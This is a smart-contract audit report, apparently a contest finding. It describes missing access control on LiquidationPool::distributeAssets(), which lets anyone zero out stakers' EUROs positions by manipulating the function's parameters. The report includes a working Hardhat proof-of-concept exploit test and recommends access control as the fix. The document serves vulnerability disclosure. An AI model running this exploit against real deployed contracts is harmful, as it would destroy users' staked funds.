Summary
Anyone can manipulate EUROs positions in LiquidationPool by invoking LiquidationPool::distributeAssets() and playing with the params. It's even possible for a malicious actor to zero out all such positions for a negligible cost.
Vulnerability Details
LiquidationPool::distributeAssets() lacks access control. I believe it's only supposed to be called from the LiquidationPoolManager through LiquidationPoolManager::runLiquidation(). However, the developer probably assumed it's safe to leave it public based on the following code:
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
The code in the else block check will always revert because LiquidationPoolManager wouldn't have approved tokens to be transferred to this contract (it only happens when called through runLiquidation()). While this is true for ERC20s, it is not for ether. Distributions involving ether are managed through the payable keyword.
One scenario that wasn't considered is that malicious actors can invoke this function with a manipulated _assets param (utilizing ether to prevent reverts). This, in combination with manipulation of the _collateralRate and _hundredPC params, allows anyone to interact with the stakers' positions in unintended ways. This opens the door for an attack where positions can be reduced or zeroed out by anyone. The following lines from the function make this possible:
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
Elevating costInEuros to an enormous amount allows the malicious actors to wipe out all EUROs positions. The POC below specifically demonstrates this exploit.
POC (put it in test/liquidationPool.js):
describe("LiquidationPool distributeAssets exploit", async () => {
it("zero out all positions", async () => {
const eurosStake1 = ethers.utils.parseEther('10000')
await EUROs.mint(user1.address, eurosStake1)
await EUROs.approve(LiquidationPool.address, eurosStake1)
const tstStake1 = ethers.utils.parseEther('1')
await TST.mint(user1.address, tstStake1)
await TST.approve(LiquidationPool.address, eurosStake1)
await LiquidationPool.increasePosition(tstStake1, eurosStake1)
const eurosStake2 = ethers.utils.parseEther('640245510000')
await EUROs.mint(user2.address, eurosStake2)
await EUROs.connect(user2).approve(LiquidationPool.address, eurosStake2)
const tstStake2 = ethers.utils.parseEther('1')
await TST.mint(user2.address, tstStake2)
await TST.connect(user2).approve(LiquidationPool.address, tstStake2)
await LiquidationPool.connect(user2).increasePosition(tstStake2, eurosStake2)
await fastForward(DAY)
const TokenManagerMock = await ethers.getContractFactory("TokenManagerMock")
const tokenManager = TokenManagerMock.attach(await MockSmartVaultManager.tokenManager())
const ethAmountToSend = ethers.utils.parseEther('0.0000000000001')
const acceptedTokens = await tokenManager.getAcceptedTokens()
const wbtcUsd = acceptedTokens.find((token) => token.symbol === ethers.utils.formatBytes32String('WBTC'))
const wbtcUsdPriceFeed = wbtcUsd.clAddr
const mappedAssets = acceptedTokens
.filter((token) => token.addr === '0x0000000000000000000000000000000000000000')
.map((token) => ({
token: {
symbol: token.symbol,
addr: token.addr,
dec: token.dec,
clAddr: token.clAddr,
clDec: token.clDec,
},
amount: ethAmountToSend
}))
mappedAssets[0].token.clAddr = wbtcUsdPriceFeed
mappedAssets[0].token.dec = 8
const collateralRate = 1
const hundredPC = 100000000000
await LiquidationPool.distributeAssets(mappedAssets, collateralRate, hundredPC, {
value: ethAmountToSend
})
const { _position: pos1AfterExploit } = await LiquidationPool.position(user1.address)
const { _position: pos2AfterExploit } = await LiquidationPool.position(user2.address)
expect(pos1AfterExploit.EUROs).to.equal(ethers.utils.parseEther('0'))
expect(pos2AfterExploit.EUROs).to.equal(ethers.utils.parseEther('0'))
})
})
Impact
Malicious actors can zero out all EUROs positions
Tools Used
Manual Analysis
Recommendations
Add access control to prevent anyone else besides LiquidationPoolManager from calling this function.
Or, if the lack of access control is intended, then make the function parameterless. _assets. _collateralRate, _hundredPC should all come from LiquidationPoolManager to prevent manipulation. Another thing that must be done is modifying the ERC20 transfer logic since it will fail when called from another place due to the lack of approval:
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
